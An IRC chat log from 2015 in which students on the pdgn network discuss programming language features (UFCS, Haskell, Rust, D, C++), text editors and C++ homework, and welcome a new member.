[2015-02-11T13:41:54-0500] <+awe> although, in haskell, square isn't a function, so, it'd actually be f = map (^2) . filter even
[2015-02-11T13:41:57-0500] <+awe> But nbd.
[2015-02-11T13:42:08-0500] <Hyper> yeah I'm doing these assuming square and even are functions
[2015-02-11T13:42:13-0500] <+awe> even is a function. :)
[2015-02-11T13:42:41-0500] <+awe> the . there is (perhaps obviously?) function composition.
[2015-02-11T13:43:01-0500] <Hyper> I didn't write the python that way and then realized I didn't want to type as much for the others
[2015-02-11T13:43:22-0500] <+awe> Also, I'd say uhh...
[2015-02-11T13:43:34-0500] <+awe> [x**2 for x in [0, 1, 2, 3] if x % 2 == 0] is worse than [x**2 for x in [0, 1, 2, 3] if even x] anyway.
[2015-02-11T13:44:38-0500] <+awe> The biggest thing I have against list comprehensions is that they get cumbersome to read fast.
[2015-02-11T13:44:43-0500] <Hyper> I like it because it's easy to read without having to do weird jumps around to follow context
[2015-02-11T13:44:45-0500] <Hyper> well yeah
[2015-02-11T13:44:49-0500] <Hyper> I've seen some shit man
[2015-02-11T13:45:11-0500] <Hyper> I've seen collision detection code written entirely as a couple of list comprehensions x.x
[2015-02-11T13:45:16-0500] <Hyper> it was not fun to read.
[2015-02-11T13:45:21-0500] <+awe> Like, even the one Jacob has is starting to get a bit unruly for my taste.
[2015-02-11T13:45:36-0500] <Hyper> I'm generally ok with 2 levels deep if it's clear enough
[2015-02-11T13:45:45-0500] <Hyper> but that's a big if
[2015-02-11T13:47:25-0500] <Hyper> I'm still convinced that UFCS is basically my favorite thing ever
[2015-02-11T13:47:29-0500] <Hyper> lol
[2015-02-11T13:47:43-0500] <+awe> I want full UFCS in Rust.
[2015-02-11T13:47:52-0500] <+awe> I want a lot of things in Rust.
[2015-02-11T13:48:02-0500] <Hyper> I've been working in C++ and desperately wishing for it so I didn't have to keep writing everything as methods even though they really shouldn't be
[2015-02-11T13:48:32-0500] <+awe> People didn't get my argument when I was saying that about Rust.
[2015-02-11T13:48:50-0500] <Hyper> I think there's a proposal for UFCS in an upcoming C+ standard but like who the fuck knows when that'll happen
[2015-02-11T13:48:57-0500] <+awe> If we don't have it go both ways, it encourages people to write things as methods when they shouldn't be.
[2015-02-11T13:49:41-0500] <+awe> If I have some struct Quarternion, it shouldn't have a method distance(&self, other: Quarternion)
[2015-02-11T13:49:58-0500] <Hyper> classes are so easy to destroy your performance with, we should be encouraging ways of.... not doing that as much
[2015-02-11T13:50:10-0500] <+awe> I should just write fn distance(a: Quarternion, b: Quarternion) -> Quarternion and then be able to do a.distance(b)
[2015-02-11T13:50:14-0500] <Hyper> yeah
[2015-02-11T13:50:16-0500] <+awe> as well as distance(a, b)
[2015-02-11T13:50:40-0500] <+awe> The distance to another quarternion is not somehow a property of the quarternion. It's an operation on two of them.
[2015-02-11T13:50:57-0500] <Hyper> you're preaching to the choir :P
[2015-02-11T13:51:24-0500] <+awe> I know. I'm just annoyed that nobody would listen to me. :p
[2015-02-11T13:51:59-0500] <Hyper> I think D has some of the best features syntax-wise of any language I've used
[2015-02-11T13:52:18-0500] <+awe> Haskell syntax is magical.
[2015-02-11T13:52:28-0500] <+awe> It makes me feel like everything in the world is good and beautiful.
[2015-02-11T13:52:32-0500] <Hyper> for instance, being allowed to omit parens from functions that take no arguments is really nice
[2015-02-11T13:52:44-0500] <Hyper> also parens from single-argument templates
[2015-02-11T13:52:47-0500] <JacobEdelman_> in lark you can have any syntax you like
[2015-02-11T13:52:52-0500] <+awe> JacobEdelman_: don't care, go away.
[2015-02-11T13:52:56-0500] <Hyper> JacobEdelman_: does lark work yet?
[2015-02-11T13:53:02-0500] <JacobEdelman_> awe: I love you too :P
[2015-02-11T13:53:16-0500] <JacobEdelman_> Hyper: nope, its far from ready, I've been slacking on working on it lately
[2015-02-11T13:53:25-0500] <Hyper> the problem with D is that it's code generation is... not great
[2015-02-11T13:53:41-0500] <Hyper> also the standard library relies on exceptions and garbage collection
[2015-02-11T13:53:44-0500] <+awe> Yah.
[2015-02-11T13:53:49-0500] <+awe> That's what bugs me.
[2015-02-11T13:53:59-0500] <Hyper> on the other hand, the standard library is <3
[2015-02-11T13:54:14-0500] <+awe> I really like Rust's standard library except for their approach to IO.
[2015-02-11T13:54:21-0500] <+awe> But that should get better in time.
[2015-02-11T13:54:49-0500] <Hyper> mmm
[2015-02-11T13:55:11-0500] <Hyper> yeah D has optimization and garbage collection problems which really hurt it
[2015-02-11T13:55:20-0500] <Hyper> I think the language itself is really a gem, though
[2015-02-11T13:55:30-0500] <+awe> Obviously. I can't imagine you'd still use it if you didn't.
[2015-02-11T13:55:33-0500] <Hyper> and both of those problems are solvable
[2015-02-11T13:56:05-0500] <Hyper> for an example of a really nice thing in the standard library, there's a template called to in std.conv
[2015-02-11T13:56:26-0500] <Hyper> it takes a type as it's template parameter, and turns it's argument into that type (by various means)
[2015-02-11T13:56:42-0500] <Hyper> and with ufcs and paren omission you can use it like
[2015-02-11T13:56:46-0500] <Hyper> thing.to!int
[2015-02-11T13:57:12-0500] <Hyper> which is just awesome
[2015-02-11T13:57:40-0500] <+awe> I like that it's succinct, but I think i'd prefer parens.
[2015-02-11T13:57:48-0500] <Hyper> heh
[2015-02-11T13:57:49-0500] <+awe> to!int looks weird to my eyes.
[2015-02-11T13:57:57-0500] <Hyper> I mean that's short for to!(int)(thing)
[2015-02-11T13:57:57-0500] <+awe> thing.to!(int) is fine.
[2015-02-11T13:58:08-0500] <Hyper> or thing.to!(int)
[2015-02-11T13:58:14-0500] <Hyper> or to!int(thing)
[2015-02-11T13:58:18-0500] <+awe> bah.
[2015-02-11T13:58:25-0500] <Hyper> all of those are equivalent
[2015-02-11T13:58:25-0500] <+awe> that's weird.
[2015-02-11T13:58:31-0500] <Hyper> why?
[2015-02-11T13:58:37-0500] <+awe> Well, weird in an interesting way.
[2015-02-11T13:58:38-0500] <+awe> The last one.
[2015-02-11T13:58:48-0500] <+awe> I geuss it makes sense though
[2015-02-11T13:58:56-0500] <Hyper> templates are denoted by ! anyways, so if you've only got one argument it makes sense to let you leave out the parens
[2015-02-11T13:58:59-0500] <+awe> because it's saying to is parameterized by int, right?
[2015-02-11T13:59:04-0500] <Hyper> yeah
[2015-02-11T13:59:11-0500] <Hyper> ! means template arguments
[2015-02-11T13:59:16-0500] <+awe> yeah, in Rust, something similar would be to::<int>(thing)
[2015-02-11T13:59:16-0500] <Hyper> its's like <> in C++
[2015-02-11T13:59:26-0500] <Hyper> and rust, I guess :)
[2015-02-11T13:59:28-0500] <+awe> which is 100% a wart from C++.
[2015-02-11T13:59:39-0500] <+awe> Stupid "our language will be more easily adopted if it looks familiar!"
[2015-02-11T14:00:03-0500] <Hyper> I think the specific reason for ! in D is to avoid complicated parsing by the compiler
[2015-02-11T14:00:16-0500] <Hyper> because < and > could be part of a comparison
[2015-02-11T14:00:20-0500] <+awe> Well, you'd never write to::<int> in the wild in Rust anyway.
[2015-02-11T14:00:34-0500] <+awe> the return type would be inferred.
[2015-02-11T14:00:48-0500] <Hyper> huh?
[2015-02-11T14:00:56-0500] <+awe> so, 2i * to(thing)
[2015-02-11T14:01:04-0500] <Hyper> ah
[2015-02-11T14:01:05-0500] <Hyper> ok
[2015-02-11T14:01:09-0500] <Hyper> in that context, sure
[2015-02-11T14:01:12-0500] <+awe> In almost every context.
[2015-02-11T14:01:25-0500] <+awe> unless the thing just stands by itself and is never used.
[2015-02-11T14:01:38-0500] <+awe> Or there's some ambiguity as to what it could be.
[2015-02-11T14:01:52-0500] <Hyper> D doesn't really do type inference when you're passing stuff into a function
[2015-02-11T14:02:02-0500] <Hyper> so you have to do that when you're passing a float to an int function
[2015-02-11T14:02:07-0500] <Hyper> it's a bit weird
[2015-02-11T14:02:09-0500] <Hyper> w/e
[2015-02-11T14:02:10-0500] <+awe> Ah, that's annoying.
[2015-02-11T14:02:19-0500] <+awe> That's totally something it should know.
[2015-02-11T14:02:20-0500] <Hyper> yeah
[2015-02-11T14:02:30-0500] <Hyper> you can see it all over Tionanima lol
[2015-02-11T14:04:31-0500] <Hyper> but yeah, ufcs, cool templating and paren omission work together in some really nice ways
[2015-02-11T14:04:43-0500] <Hyper> plus it allows you to monkey patch classes nicely :)
[2015-02-11T14:05:17-0500] <Hyper> so if your renderer doesn't come with a drawCircle function, you can just write a drawCircle(Renderer, x, y, rad) :)
[2015-02-11T14:05:33-0500] <Hyper> and call it like renderer.drawCircle(10, 10, 10)
[2015-02-11T14:06:27-0500] <Hyper> I'm really looking forward to what Jai does
[2015-02-11T14:06:34-0500] <Hyper> there are a lot of really cool ideas in there
[2015-02-11T14:43:06-0500] <JacobEdelman_> I like it when functions and types have the same syntax
[2015-02-11T14:43:11-0500] <JacobEdelman_> than again, I'm weird
[2015-02-11T14:46:41-0500] <+awe> And very frequently demonstrate bad taste with respects to programming style. ;)
[2015-02-11T15:27:19-0500] <+awe> I titled this post "A Brief History of Pdgn"
[2015-02-11T15:27:29-0500] <+awe> I think I might have to change the name to "A Not-So-Brief History of Pdgn"
[2015-02-11T15:27:43-0500] <+awe> It's already ten full paragraphs.
[2015-02-11T15:39:30-0500] <+awe> Does anybody have the date for when I switched us to the new servers?
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[2015-02-11T15:47:44-0500] <JacobEdelman_> awe: I think you should call it "The State of the Kit"
[2015-02-11T15:47:51-0500] <+awe> ...?
[2015-02-11T15:47:51-0500] <JacobEdelman_> cause Kit is the collective noun for pidgeons
[2015-02-11T15:48:35-0500] <JacobEdelman_> I was gonna write a post entitled that, than decided I was not the right of person to write that post
[2015-02-11T15:48:46-0500] <+awe> That's only true if they're flying.
[2015-02-11T15:49:03-0500] <+awe> A kit of pigeons is a group of pigeons flying together.
[2015-02-11T15:49:26-0500] <+awe> Running a network called pigeon has led to me learning quite a bit about pigeons that I never expected to know in my life.
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[2015-02-11T16:02:48-0500] <+awe> http://blog.pdgn.co/general/2015/02/11/history-of-pdgn.html
[2015-02-11T16:02:50-0500] <+awe> :)
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[2015-02-11T16:09:53-0500] <failedxyz> hei
[2015-02-11T16:10:19-0500] <+awe> hi failedxyz
[2015-02-11T17:15:30-0500] <JacobEdelman_> awe: you need to give background on who you are
[2015-02-11T17:15:46-0500] <JacobEdelman_> in the start of the post
[2015-02-11T17:15:47-0500] <JacobEdelman_> also
[2015-02-11T17:16:14-0500] <JacobEdelman_> Fill: I have a tradition of interrog-interviewing everyone when they first join the network, are you online now?
[2015-02-11T17:16:36-0500] <Fill> JacobEdelman_: hey
[2015-02-11T17:16:37-0500] <Fill> I am
[2015-02-11T17:16:53-0500] <Fill> nice to meet you
[2015-02-11T17:16:59-0500] <JacobEdelman_> so, question 1: what programming/math/cs/life topics are you interested in?
[2015-02-11T17:17:15-0500] <+awe> JacobEdelman_: Why do I need to give background?
[2015-02-11T17:17:30-0500] <+awe> JacobEdelman: you can find out background on my site.
[2015-02-11T17:17:32-0500] <JacobEdelman_> awe: I feel like you should at least introduce yourslef a bit at the start of the post 
[2015-02-11T17:17:49-0500] <JacobEdelman_> awe: you don't even say "I'm awe, the founder of pdgn." or anything
[2015-02-11T17:17:54-0500] <+awe> It says the author
[2015-02-11T17:18:15-0500] <JacobEdelman_> eh... I feel like in this case the start seems a bit disjointed, but thatas my opinion
[2015-02-11T17:19:06-0500] <+awe> The first paragraph introduces the fact that I'm the founder of Pdgn.
[2015-02-11T17:19:11-0500] <+awe> It says that I stumbled upon the domain.
[2015-02-11T17:19:35-0500] <Fill> I am currently studying for my master's degree in CS. I am interested in networking / server-side / back-end programming, with a trend towards distributed systems in C and C++ (and diving into Rust atm). I also occasionally do some algorithm stuff for fun (never really entered into live competitions). You can check my blog at codinghighway.com if you want, it's mainly pure CS / algorithm stuff.
[2015-02-11T17:20:42-0500] <Fill> other life topics I am interested in - exercise. I exercise at least 1 hour every day, it's really good for my health
[2015-02-11T17:22:36-0500] <Fill> JacobEdelman_: now it's your turn
[2015-02-11T17:23:07-0500] <JacobEdelman_> (alokpathy and I are very big algo people)
[2015-02-11T17:23:09-0500] <Fill> (and in fact, if you wait a little, I am about to post a new article about some nasty weird algorithm I was working on a few days ago)
[2015-02-11T17:23:23-0500] <bob_twinkles> http://www.nasa.gov/multimedia/nasatv/ <- space in T-40 minutes
[2015-02-11T17:23:33-0500] <+awe> bob_twinkles: wooooo rockets
[2015-02-11T17:23:51-0500] <JacobEdelman_> Fill: so you wanna ask me a question now? (I still have a couple left for you)
[2015-02-11T17:24:11-0500] <bob_twinkles> the original launch date for this payload was actually sunday  night
[2015-02-11T17:24:17-0500] <+awe> I know.
[2015-02-11T17:24:20-0500] <+awe> My friend is obsessed.
[2015-02-11T17:24:24-0500] <+awe> He gives me rocket updates all the time.
[2015-02-11T17:24:27-0500] <Fill> JacobEdelman_: nah, go ahead and ask all your questions first
[2015-02-11T17:24:28-0500] <bob_twinkles> =P
[2015-02-11T17:24:59-0500] <JacobEdelman_> Fill: the second one was gonna be whether you were an hs/college/other student, but your blog answered that
[2015-02-11T17:25:04-0500] <JacobEdelman_> so I'll go with the first one
[2015-02-11T17:25:06-0500] <JacobEdelman_> *third
[2015-02-11T17:25:08-0500] <+awe> "master's degree in CS"
[2015-02-11T17:25:17-0500] <+awe> His blog didn't answer that. His first sentence did.
[2015-02-11T17:25:22-0500] <JacobEdelman_> oh
[2015-02-11T17:25:33-0500] <JacobEdelman_> well, I skipped to the interesting stuff
[2015-02-11T17:25:34-0500] <JacobEdelman_> :P
[2015-02-11T17:25:46-0500] <JacobEdelman_> question 3: describe yourself in 6 words
[2015-02-11T17:25:52-0500] <JacobEdelman_> (or less)
[2015-02-11T17:26:03-0500] <Fill> oh.. hmmm
[2015-02-11T17:26:19-0500] <+awe> I'm glad I didn't have to answer any questions. That'd be hard.
[2015-02-11T17:27:46-0500] <JacobEdelman_> awe: I can do it easy for you:  "large haired opinionated nerd, with suspenders"
[2015-02-11T17:27:59-0500] <+awe> I don't like that though.
[2015-02-11T17:28:07-0500] <JacobEdelman_> what, it describes you completely 
[2015-02-11T17:28:15-0500] <+awe> It describes me accurately, but not wholly.
[2015-02-11T17:28:19-0500] <JacobEdelman_> there is nothing about you that cannot be derived from that sentence
[2015-02-11T17:28:36-0500] <+awe> That doesn't even tell you I'm a computer scientist.
[2015-02-11T17:28:56-0500] <JacobEdelman_> awe: you said nerds with long hair are good at cs
[2015-02-11T17:29:01-0500] <Fill> I'd say: Man of few words. Serene. Curious.
[2015-02-11T17:29:09-0500] <+awe> I don't have long hair, I have large hair.
[2015-02-11T17:29:14-0500] <+awe> I had long hair before.
[2015-02-11T17:29:14-0500] <Fill> hah, that was exactly 6 words, see
[2015-02-11T17:29:16-0500] <JacobEdelman_> Fill: okay, cool, you pass
[2015-02-11T17:29:28-0500] <JacobEdelman_> awe: close enough
[2015-02-11T17:29:38-0500] <Fill> that was harder than a coding interview
[2015-02-11T17:29:39-0500] <+awe> JacobEdelman_: "loud, confused, and very frequently wrong."
[2015-02-11T17:29:46-0500] <+awe> JacobEdelman_: that's you. :D
[2015-02-11T17:29:48-0500] <JacobEdelman_> awe yup!
[2015-02-11T17:29:52-0500] <Fill> "Describe yourself in 6 words" .. jeez
[2015-02-11T17:30:18-0500] <+awe> Fill: yeah, with that Mozilla internship, you'd know about those interviews, too.
[2015-02-11T17:30:21-0500] <JacobEdelman_> Fill: everybody here has managed to pass... except for awe
[2015-02-11T17:30:34-0500] <+awe> You didn't make a lot of people doing it, including me.
[2015-02-11T17:30:40-0500] <+awe> s/doing/do
[2015-02-11T17:31:02-0500] <JacobEdelman_> eh, yeah, but you're the only one who I asked about it(just now) and couldn't think up 6 words :P
[2015-02-11T17:31:17-0500] <+awe> You didn't ask me. You said you could do it for me.
[2015-02-11T17:31:20-0500] <Fill> JacobEdelman_: what defines a pass/fail on your test?
[2015-02-11T17:31:36-0500] <JacobEdelman_> Fill: whether I think the person is cool/nerdy or not :P
[2015-02-11T17:31:41-0500] <Fill> hahaha
[2015-02-11T17:32:25-0500] <+awe> Fill: I'd say you should do a Mozilla internship to work on Rust, but you shouldn't do that in case I want to do it. I don't want more competition. :p
[2015-02-11T17:32:42-0500] <Fill> Oops, sorry, already applied xD
[2015-02-11T17:33:03-0500] <JacobEdelman_> Fill: so, welcome to pdgn, motto: "awe won't let me make a motto", population: several
[2015-02-11T17:33:14-0500] <+awe> It's okay. I'm not applying for it this summer.
[2015-02-11T17:33:18-0500] <Fill> JacobEdelman_: thanks
[2015-02-11T17:33:25-0500] <+awe> I've already got a probable trip to Seattle and an almost definite research position here.
[2015-02-11T17:33:53-0500] <Fill> awe: are you a PhD student?
[2015-02-11T17:33:58-0500] <+awe> No, I'm a BS student.
[2015-02-11T17:34:16-0500] <+awe> I plan to be a PhD student.
[2015-02-11T17:34:24-0500] • awe: wants to be a Uni professor.
[2015-02-11T17:34:49-0500] <JacobEdelman_> (most people here want to go into academia eventually, I think (everybody here is below PhD))
[2015-02-11T17:35:03-0500] <Fill> I see
[2015-02-11T17:36:54-0500] <+awe> I want to do programming language theory, and type theory.
[2015-02-11T17:37:11-0500] <+awe> I also work at a financial services/financial tech startup.
[2015-02-11T17:37:56-0500] <Fill> language theory is pretty interesting too
[2015-02-11T17:38:26-0500] <+awe> I'm the kind of person who keeps complaining about how Rust doesn't have higher-kind types yet. :p
[2015-02-11T17:38:51-0500] <Fill> like what?
[2015-02-11T17:40:27-0500] <+awe> Type constructors?
[2015-02-11T17:41:04-0500] <+awe> Well, type constructors that take type parameters to produce new types.
[2015-02-11T17:41:16-0500] <+awe> And the ability to work generically across them.
[2015-02-11T17:41:56-0500] <Fill> maybe they have other priorities at the moment
[2015-02-11T17:42:04-0500] <+awe> They do.
[2015-02-11T17:42:15-0500] <+awe> IO is terrible right now.
[2015-02-11T17:42:23-0500] <+awe> They're making it slightly better, but it's going to need way more work.
[2015-02-11T17:42:52-0500] <+awe> HKT is going to happen down the road, according to a few Rust devs though.
[2015-02-11T17:43:43-0500] <JacobEdelman> I think the only logical solution is too have rust compile to javascript
[2015-02-11T17:43:50-0500] <+awe> JacobEdelman: Very no.
[2015-02-11T17:43:50-0500] <Fill> yes, IO I have to agree - it could be better
[2015-02-11T17:43:53-0500] • JacobEdelman: steps back to see awe explode
[2015-02-11T17:44:02-0500] <Fill> compile to JS?!
[2015-02-11T17:44:06-0500] <JacobEdelman> :P
[2015-02-11T17:44:07-0500] <+awe> Blocking-only I/O is so painful.
[2015-02-11T17:44:10-0500] <Fill> why on Earth would they do that?
[2015-02-11T17:44:19-0500] <JacobEdelman> to troll awe
[2015-02-11T17:44:20-0500] <+awe> JacobEdelman is one of the types who thinks that everything should compile to JS and run on the web.
[2015-02-11T17:44:23-0500] <Fill> lol
[2015-02-11T17:44:34-0500] <JacobEdelman> well, I don't actually think that
[2015-02-11T17:44:44-0500] <JacobEdelman> I think that compiling to JS is okay
[2015-02-11T17:44:47-0500] <JacobEdelman> for a lot of things
[2015-02-11T17:44:52-0500] <JacobEdelman> and that compiling to llvm is very nice
[2015-02-11T17:45:02-0500] <JacobEdelman> *with llvm
[2015-02-11T17:45:46-0500] <+awe> Or I could just use a high-level language that isn't garbage and compiles natively.
[2015-02-11T17:45:51-0500] <+awe> (e.g. Haskell)
[2015-02-11T17:46:48-0500] <+awe> And then use Rust for everything that's performance-sensitive.
[2015-02-11T17:47:45-0500] <JacobEdelman> what, no! javascript is easily malleable, which is ideal for DSLs in my opinion
[2015-02-11T17:47:56-0500] <JacobEdelman> also, I only care about big O
[2015-02-11T17:49:57-0500] <bob_twinkles> you can't do decent numerical integration in JS though
[2015-02-11T17:50:01-0500] <bob_twinkles> 's too slow
[2015-02-11T17:50:23-0500] <JacobEdelman> bob_twinkles: thats cause theres no good math libraries for JS... yet
[2015-02-11T17:50:35-0500] <bob_twinkles> you blow at least the L1 cache every time you do anything in JS
[2015-02-11T17:51:26-0500] <bob_twinkles> and probably L2/L3 if you do anything in between iterations of the integrator
[2015-02-11T17:52:14-0500] <bob_twinkles> ASM.js kinda helps but it's sorta an all or nothing deal and doesn't work on mobile
[2015-02-11T17:54:00-0500] <+awe> bob_twinkles: JacobEdelman doesn't know anything about computers
[2015-02-11T17:54:42-0500] <JacobEdelman> also, if you're doing something with legit large amounts of cash
[2015-02-11T17:54:50-0500] <JacobEdelman> *time not cash
[2015-02-11T17:54:55-0500] <JacobEdelman> (why'd I type cash?)
[2015-02-11T17:55:03-0500] <JacobEdelman> *math not time
[2015-02-11T17:55:07-0500] <JacobEdelman> (wow, I'm confused)
[2015-02-11T17:55:27-0500] <JacobEdelman> also, if you're doing something with legit large amounts of math, than you don't need to do it in the browser and I would support using something like python
[2015-02-11T17:55:36-0500] <bob_twinkles> -_-
[2015-02-11T17:55:42-0500] <bob_twinkles> python is marginally less bad
[2015-02-11T17:55:44-0500] <JacobEdelman> no
[2015-02-11T17:55:46-0500] <JacobEdelman> no no no
[2015-02-11T17:55:51-0500] <JacobEdelman> python has amazing math libraries
[2015-02-11T17:55:56-0500] <JacobEdelman> that are written in c++ or c
[2015-02-11T17:56:16-0500] <JacobEdelman> numpy, scipy, sympy, sage, pybrain, and such are research grade
[2015-02-11T17:56:31-0500] <bob_twinkles> eh, true
[2015-02-11T17:56:36-0500] <+awe> Research-grade is apparently a production standard now.
[2015-02-11T17:56:46-0500] <JacobEdelman> python is the go to programming language for math
[2015-02-11T17:56:56-0500] <JacobEdelman> although julia and R are runner ups
[2015-02-11T17:57:19-0500] <bob_twinkles> I should get around to learning R
[2015-02-11T17:57:46-0500] <bob_twinkles> Wolfram is really annoying
[2015-02-11T17:58:08-0500] <+awe> Oh. I found out why vim conceal wasn't working.
[2015-02-11T17:58:18-0500] <+awe> I didn't compile vim with conceal support. >.>
[2015-02-11T17:58:37-0500] <bob_twinkles> that'd do it lol
[2015-02-11T18:03:48-0500] • Fill: uses emacs
[2015-02-11T18:03:54-0500] <Fill> (just sayin')
[2015-02-11T18:04:14-0500] <Fill> I'm just a basic user though, never really explored much of emacs
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[2015-02-11T18:08:44-0500] <JacobEdelman> bob_twinkles: use python and sage/numpy/misc.
[2015-02-11T18:09:05-0500] • JacobEdelman: thinks terminal based text editors are silly.
[2015-02-11T18:09:16-0500] • bob_twinkles: is racist against mice
[2015-02-11T18:09:44-0500] <bob_twinkles> who wants to have to move their arms all the time
[2015-02-11T18:10:16-0500] <+awe> Fill: I don't use emacs because it scrolls wrong.
[2015-02-11T18:10:24-0500] <+awe> Fill: and I use a graphical version of vim.
[2015-02-11T18:10:58-0500] <Fill> it scrolls wrong? what does that mean?
[2015-02-11T18:11:35-0500] <Fill> it scrolls good for me
[2015-02-11T18:11:52-0500] <+awe> It does buffered scrolling instead of smooth scrolling.
[2015-02-11T18:11:53-0500] <+awe> Drives me crazy.
[2015-02-11T18:11:55-0500] <+awe> bob_twinkles: https://www.dropbox.com/s/xpylq0t01tezlgg/Screenshot%202015-02-11%2018.11.39.png?dl=0
[2015-02-11T18:11:58-0500] <+awe> bob_twinkles: yay, concealing :D
[2015-02-11T18:12:05-0500] <+awe> bob_twinkles: lambdas now have lambdas. :D
[2015-02-11T18:12:38-0500] <bob_twinkles> nice
[2015-02-11T18:13:41-0500] <bob_twinkles> space didn't go boom =D
[2015-02-11T18:13:48-0500] <+awe> Woo! No boom!
[2015-02-11T18:14:08-0500] <+awe> So, both rocket science and I accomplished something equally important today.
[2015-02-11T18:14:17-0500] <+awe> I recompiled vim, and they didn't go boom.
[2015-02-11T18:15:06-0500] <bob_twinkles> I have like 1.5 essays to write
[2015-02-11T18:15:10-0500] <+awe> I also wrote what I'm calling mcaas.
[2015-02-11T18:15:18-0500] <+awe> Or Markov Chain as a Service.
[2015-02-11T18:15:26-0500] <bob_twinkles> how's that work?
[2015-02-11T18:15:36-0500] <+awe> JacobEdelman: made it first.
[2015-02-11T18:15:38-0500] <+awe> I made it in Rust.
[2015-02-11T18:15:52-0500] <+awe> It serves markov chain results.
[2015-02-11T18:16:13-0500] <+awe> I should actually make it possible to POST a corpus to it
[2015-02-11T18:16:25-0500] <+awe> and then do get requests for that chain.
[2015-02-11T18:16:28-0500] <+awe> That'd be neat.
[2015-02-11T18:16:51-0500] <+awe> And I don't think that much more complicated than what I already have.
[2015-02-11T18:17:33-0500] <+awe> Then it's actually a markov chain as a service.
[2015-02-11T18:17:59-0500] <+awe> But I have work to do right now. So, maybe later.
[2015-02-11T18:19:53-0500] <+awe> Wow. This quiz is long.
[2015-02-11T18:19:59-0500] <+awe> They're usually 8-12 questions.
[2015-02-11T18:20:02-0500] <+awe> This one is 23.
[2015-02-11T18:27:25-0500] <Hyper> every second I'm spending doing this fucking C++ homework is another bit of sanity i'm losing
[2015-02-11T18:27:34-0500] <Hyper> Why the fuck doesn't C++ have a string.split function anywhere
[2015-02-11T18:27:35-0500] <Hyper> why
[2015-02-11T18:27:36-0500] <Hyper> why why why
[2015-02-11T18:27:59-0500] <+awe> lol
[2015-02-11T18:28:06-0500] <+awe> Because C++ hates developers.
[2015-02-11T18:28:09-0500] <bob_twinkles> see the strstr; touch the strstr; _looove_ the strstr
[2015-02-11T18:28:21-0500] <bob_twinkles> also, because why would you ever need that
[2015-02-11T18:28:49-0500] <bob_twinkles> outside of C++ homework anyway
[2015-02-11T18:28:52-0500] <Hyper> I'm reading what's essentially a csv and I want to just split the fucking thing by commas
[2015-02-11T18:29:06-0500] <Hyper> and then look at the fields I need to read in
[2015-02-11T18:29:13-0500] <Hyper> like this should not be hard at all
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[2015-02-11T18:29:42-0500] <+awe> Hyper: but if it was easy, they wouldn't be able to pay C++ programmers so much money. ;)
[2015-02-11T18:29:43-0500] <JacobEdelman> Hyper, there is an easy solution
[2015-02-11T18:29:48-0500] <JacobEdelman> don't use C++
[2015-02-11T18:29:51-0500] <bob_twinkles> val1 << "," << val2 << "," << val3 << std::cin;
[2015-02-11T18:30:00-0500] <Hyper> bob_twinkles: oh wow
[2015-02-11T18:30:02-0500] <Hyper> I'm stupid
[2015-02-11T18:30:03-0500] <Hyper> oh wow
[2015-02-11T18:30:06-0500] <Fill> Hyper: usually ostringstream will do
[2015-02-11T18:30:27-0500] <Hyper> JacobEdelman: Ok, so convince the CS dept. at my school of that and then we'll be in business.
[2015-02-11T18:30:37-0500] <+awe> Hyper: My department doesn't have C++ AFAIK.
[2015-02-11T18:30:40-0500] <bob_twinkles> you know they'll just switch to java
[2015-02-11T18:30:47-0500] <+awe> bob_twinkles: #truefacts
[2015-02-11T18:30:54-0500] <Hyper> god fucking dammit at least java has a decent standard library
[2015-02-11T18:31:07-0500] <Hyper> ok
[2015-02-11T18:31:08-0500] <Fill> oh come on, C++ has a great standard library
[2015-02-11T18:31:10-0500] <bob_twinkles> that's true
[2015-02-11T18:31:10-0500] • Hyper: breaths
[2015-02-11T18:31:26-0500] <bob_twinkles> std::thread >>>> pthreads
[2015-02-11T18:31:27-0500] <+awe> I'm still super miffed that my classes teach things that are undefined in the C spec as "expected behavior"
[2015-02-11T18:31:47-0500] <Fill> I admit it, I have a love/hate relationship with C++, but the library is quite extensive in my opinion
[2015-02-11T18:31:53-0500] <Hyper> hah my teacher today showed subtracting iterators to act like pointer math
[2015-02-11T18:31:59-0500] <Hyper> and I was like .... 
[2015-02-11T18:32:03-0500] <bob_twinkles> *cringe*
[2015-02-11T18:32:05-0500] <Hyper> that's only defined on random access iterators
[2015-02-11T18:32:09-0500] <Hyper> don't do dis
[2015-02-11T18:32:28-0500] <Fill> lol
[2015-02-11T18:32:29-0500] <+awe> Hyper: ">> is always an arithmetic right shift on signed numbers"
[2015-02-11T18:32:30-0500] <bob_twinkles> that breaks on literally ever standard collection but std::vector IIRC
[2015-02-11T18:32:33-0500] <+awe> QQ so hard.
[2015-02-11T18:32:43-0500] <Hyper> awe: wat no
[2015-02-11T18:32:47-0500] <+awe> I KNOW.
[2015-02-11T18:32:52-0500] <Hyper> on signed the sign ends up NO
[2015-02-11T18:32:52-0500] <+awe> .-.
[2015-02-11T18:32:54-0500] <Hyper> NO
[2015-02-11T18:32:59-0500] <Hyper> I mean
[2015-02-11T18:33:04-0500] <Hyper> It is a right shift
[2015-02-11T18:33:15-0500] <+awe> And it can be logical or arithmetic.
[2015-02-11T18:33:16-0500] <Hyper> but not "arithmetic"
[2015-02-11T18:33:22-0500] <Hyper> what the fuck is an arithmetic right shift
[2015-02-11T18:33:35-0500] <bob_twinkles> right shift but freeze the sign bit
[2015-02-11T18:33:35-0500] <+awe> It means that the shift does sign extension.
[2015-02-11T18:33:39-0500] <+awe> bob_twinkles: n
[2015-02-11T18:33:41-0500] <+awe> bob_twinkles: not freeze
[2015-02-11T18:33:41-0500] <bob_twinkles> ?
[2015-02-11T18:33:52-0500] <Hyper> ah
[2015-02-11T18:34:03-0500] <+awe> b1000 0000 >> 1 = b1100 0000
[2015-02-11T18:34:11-0500] <+awe> if sign-extended (arithmetic)
[2015-02-11T18:34:20-0500] <+awe> b1000 0000 >> 1 = b0100 0000
[2015-02-11T18:34:23-0500] <+awe> if not (logical)
[2015-02-11T18:34:46-0500] <+awe> This is not described in the C specification at all.
[2015-02-11T18:34:47-0500] <Hyper> bob_twinkles: also your shift solution only works on strings if they have whitespace around them
[2015-02-11T18:34:50-0500] <Hyper> erm
[2015-02-11T18:34:53-0500] <Hyper> stream solution
[2015-02-11T18:34:53-0500] <+awe> And I believe it actually says you can do whatever is convenient for your platform.
[2015-02-11T18:34:57-0500] <Fill> awe: technically it's not undefined. It's implementation defined.
[2015-02-11T18:35:05-0500] <+awe> Fill: which is undefined in the specification. :p
[2015-02-11T18:35:12-0500] <Hyper> awe: no, it's unspecified
[2015-02-11T18:35:15-0500] <Hyper> there's a difference
[2015-02-11T18:35:25-0500] <Fill> yes, but when you say undefined, you make it sound like it's UB
